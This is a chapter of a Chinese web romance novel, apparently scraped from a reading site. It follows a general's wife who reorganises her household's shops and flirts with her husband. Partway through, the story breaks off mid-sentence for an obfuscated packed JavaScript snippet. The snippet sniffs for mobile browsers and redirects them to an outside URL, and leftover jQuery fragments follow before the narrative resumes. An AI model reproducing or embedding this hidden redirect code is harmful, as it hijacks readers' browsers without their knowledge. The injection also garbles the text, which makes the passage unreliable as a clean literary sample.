28. 奖罚

作品:《今天爱上夫君了吗

    阳光穿过窗子照入屋内,空气中漂浮着不断扬起的细小灰尘。


    天冬站在书房里,踩着梯子将书架上层的书一本本拿下来轻扫灰尘,又格外注意着那些贵重的古籍,轻手轻脚地爬上爬下。


    他埋头整理半响,忽然崩溃地长叹一声低下头。


    他手中拿着一本早已摇摇欲坠的古籍,书页年份已久,脆弱地在他手中分成两半。


    “完了完了,将军回来又要加罚了。”他连声念叨着,苦着脸将手中的书册合上,记住了书名,小心翼翼地扫去灰尘,放回了架上。


    把那本贵重得能买下他的古籍放回原位,天冬才长舒一口气,哀嚎道:“还不如把我带去军营里头在场上狠练一番,将军也忒折磨人了。”


    “你在做什么?”


    身后响起的声音吓得天冬猛一激灵,整个人身形不稳地剧烈一晃,梯子随着他的动作倾斜着。


    “小心!”


    凌煦瞳孔一缩,眼见天冬快从梯子上摔下来,赶忙快步走上前,伸出手扶住木梯脚。


    天冬拼命稳住身形,死死扒住木梯的扶手。


    梯子的晃动停止,凌煦这才心有余悸地松开手。天冬赶忙爬了下来,向凌煦道歉:“小的竟然没听见夫人进来,真是该死。”


    凌煦长舒一口气,无奈地道:“也是我突然出声,吓着你了。只是你踩着梯子做事,竟也不寻个人陪着,若是有什么意外,无人替你稳住梯子,你可就要摔下来了。”


    “是,小人思虑不周。”天冬额上冷汗涟涟,生怕自己方才的不敬之语叫凌煦听见了,他垂着头,眼睛偷偷瞟着凌煦的表情。


    凌煦瞧他一眼,见天冬脸色煞白,还以为是方才差点从梯子上摔下来,惊魂未定,她并未多想,问道:“你这是做什么呢?”


    “回夫人,上次在周家,小人莽撞害得青桃姐姐受伤,将军便罚小人在书房整理书架,把放在高处的书籍一本一本拿出来掸灰,磨练小人心性,教小人沉稳。”天冬见凌煦未问方才他的话,想来是没听见,松了口气。


    凌煦并不了解天冬,不知这种细致又重复的活计天冬最是讨厌,她对惩罚方式有些疑惑,却并未当着天冬的面说什么,只是点点头,应道:“既如此,你便继续吧。再叫个人进来,替你扶住木梯。”


    “是。”天冬行了个礼,走出书房去找人。


    凌煦转过身,走到另一侧的书案后坐下,从书案上堆放的书册里抽出了自己需要的那本,打开来细细看着。


    这时,青桃拿着昨日没能报与凌煦的铺面情况走进来。


    见凌煦已经开始查看其他书册,她将手中的东西轻轻放在书案上,开始为凌煦涤笔磨墨。


    凌煦这才从书册中抬起头看见青桃,皱着眉问:“怎么突然过来了?不是叫你养伤,不必跟着么。”


    “夫人,不过是摔一跤,奴婢没那么娇气。”青桃有些无奈,自打那日不慎受伤,只要她出现在凌煦眼前,她便总是提醒她休息,什么也不肯让她做。


    青桃不喜欢这样的清闲,她自小便日日陪侍在凌煦左右,除她自己之外,她不放心让任何人单独服侍凌煦,可凌煦不让她动手,她便只能在一旁多多提点着,不让她们出错。


    青桃手上动作未停,极力证明自己真的不需要再休养。凌煦抿了抿唇,见她手掌的擦伤已经开始结痂,便没再说什么,由她去了。


    她翻阅着林副将送来的那本名录,将册子上的内容誊抄至另一本空白册子,又按照自己前几日走访后的结果添改许多。


    凌煦低头认真写着,忽然想起什么,问道:“昨日你说铺面有什么问题?拿给我看看。”


    青桃得了令,将手中墨条搁下,拿起一旁她整理好的册子,翻开来递给凌煦。


    “这几家铺面在同一处,系同一个掌柜打理。那掌柜只知道购置铺面的是凌夫人,在外打着凌府的旗号仗势欺人,肆意坑害客人,已是臭名昭著,街上的百姓都绕着走。”


    “这一家,克扣铺里伙计的银钱,奴婢查过帐,他在账上动的手脚不少,奴婢已经整理好证据,可以直接送官。”


    “这一家……”


    青桃面色严肃,将所了解到的情况细致道来。


    凌煦蹙眉听着青桃的话,待她全部说完后沉思一阵,点点头,从册子中点出几家来,对她道:“这几家就按你说的法子去处理。至于接替他们的人选,新昌坊内锦衣铺的徐掌柜母亲曾带我见过几回,人脉颇广。一会你拿着我的印信去一趟,向他打听打听可有合适的人推荐,再拟名录给我。”


    “是。”青桃应了下来,见凌煦忽然皱着眉伸手揉了揉腰,赶忙放下手中册子,绕行至凌煦身后,替她按摩纾解。


    “可是这椅子夫人坐着不习惯?奴婢叫人换一把来。”青桃道。


    “不是。”凌煦的脸变红了些,有些慌张地解释:“和椅子没关系,许是因为昨日骑马的缘故。”


    见青桃没有多问的相信了她的话,凌煦松了口气,却又因此回想起自己昨夜与崔栎的所为,忍不住抬手掩面。


    她与崔栎最后也没能成功。


    崔栎的体型与她相差太大,他们试了不知几次,都无法成功配合。


    崔栎怕伤着她,她一皱眉便立马退回去。二人紧张得满身是汗,夜间叫了水重新沐浴,在水中依旧不能,最后只好换上干爽的衣裳,放弃了尝试。


    “夫人,可是身子不舒服?”青桃按着凌煦的腰,却感觉凌煦的体温不断升高,她狐疑地看向掩着面,耳尖通红的凌煦,忍不住问道。


    “咳......没事。”凌煦慌忙将手放下,清了清嗓子,她拉过青桃的手,对她道:“已经好多了,不必再按。你按照方才定下的方法,先着手处理吧。”


    “是。”青桃未作他想,拿起东西退了出去。


    凌煦晃了晃脑袋,将昨日那些画面从脑中丢了出去,拿起桌上的名录,继续方才的誊写。


    她与崔栎前几日拜访了十户人家,只有三家人没有答应,其余人都接下了邀请。


    凌煦一边写着,一边在脑中回忆她们的性格长处,思索应当如何安排。


    青桃整理出来的铺面情况搁在桌上,凌煦伏案认真考虑着,对四周的变化全然不觉。


    “夫人如此用心,崔某惭愧。”崔栎的声音忽然在她脑袋上方响起,凌煦这才惊觉屋子里多了个人。


    她抬起头,看向身后一身常服,已经从军营回府的崔栎。


    “夫君什么时候进来的,我竟毫无察觉。”她看向窗外,惊讶道:“已经酉时了。”


    窗外的阳光早已从刺目的白变成了柔和的黄,天冬将书架上的书整理完,不知何时也离开了。


    崔栎的脸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553960|204137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被照进屋内的夕阳镀上一层光,眉眼间无比温柔,他将手放到她的肩膀上,不轻不重地捏着。


    “夫人辛苦。”崔栎道。


    凌煦搁下笔,轻拍了拍崔栎放在她肩上的手,将面前的册子拿起来,对崔栎道:“夫君回来的正好,我今日将那些夫人们的情况理了理,又按照她们的性格与擅长的事务,大致分了工。夫君看看,可有什么不同的建议。”


    崔栎并未伸手接过,而是直接俯下身,就着凌煦举起的高度,凑近了瞧。


    凌煦微侧着头,崔栎与她近在咫尺间,他正认真看着她在册子上写的内容。凌煦的视线落在他纤长的睫毛上,又忍不住上上下下打量着。


    崔栎的长相立体,鼻骨又高又直。时下京城正时兴男子蓄须,许多世家公子在此事上大花心思,市场上也因此发展出许多为此服务的店铺。崔栎却未随大流,总是将胡须剃得干干净净,连青色刚冒头的胡茬都处理掉,皮肤干净平整,格外细腻。


    凌煦闻到他身上散发出的杜衡香气,忍不住向他靠近了些。


    “夫人为何将谢小琦安排在客栈?”崔栎忽然问道。


    他侧过头看她,将凌煦正直勾勾盯着他的模样瞧了个正着。


    凌煦眼神飘忽,赶忙收回了自己瞧得入迷的花痴样子,将视线转向册子,便也没能看见崔栎眼中划过复杂的欢喜与失落。她清了清嗓,解释道:“谢小琦长在市井,聪明灵活,性格又直爽敢为。客栈每日迎来送往之人众多,需得人八面玲珑,会调停来事。她的性格合适,且这家客栈离她家不过百步,客栈不似酒楼布庄,不需要时时刻刻接待客人,她的孩子若是需要她,也可抽空迅速赶去赶回。”


    崔栎听完点点头,赞道:“夫人很了解她们,我并无建议,如此甚好。”


    他的手平平搭在凌煦坐着的椅子两侧扶手上,形成一个半包围的姿态,将凌煦虚圈入怀中。


    凌煦合上册子,二人未开口的这一瞬,她感觉到氛围微妙的变化,心中紧张又期待。


    书房外的花草被风吹得沙沙作响,凌煦的心也乱七八糟地跳动着,手正一遍又一遍抚着已经平整的书册。


    “夫人为何不看我?”崔栎问。


    简单的问题落入凌煦耳中,配合着崔栎的声调,却叫她想起昨夜在帐中,崔栎明知她已经无法承受了,却还是不肯放过地问她。


    凌煦瞪了一眼崔栎,瞧见对方笑意盈盈的模样,便知他是故意要戏弄她。


    凌煦将手中册子往书案上一搁,从椅子上起身离开。


    还没走开一步,手便被人从后拉住,将她带进了崔栎怀中。


    凌煦低着头,嘴角勾起一抹得逞的笑意,随后柳眉微蹙,抬起头。


    “将军这是做什么?”她故意道。


    “方才还唤夫君,怎么立马又唤将军了。”崔栎抱怨着,见凌煦明显生气的模样,赶忙调整了表情,低眉顺眼道:“我错了。”


    凌煦见他飞快道歉,原先压制的笑意再绷不住,在他怀里笑出声来。


    崔栎这才明白过来凌煦并未真的生气,不过是以牙还牙地戏弄他。


    “夫人。”他无奈地唤。


    崔栎抱着凌煦的手收紧了些,将人紧箍在自己怀中。他一声不吭地看着凌煦,直把人看得不好意思起来,才轻声道:


    “夫人可有想念我?”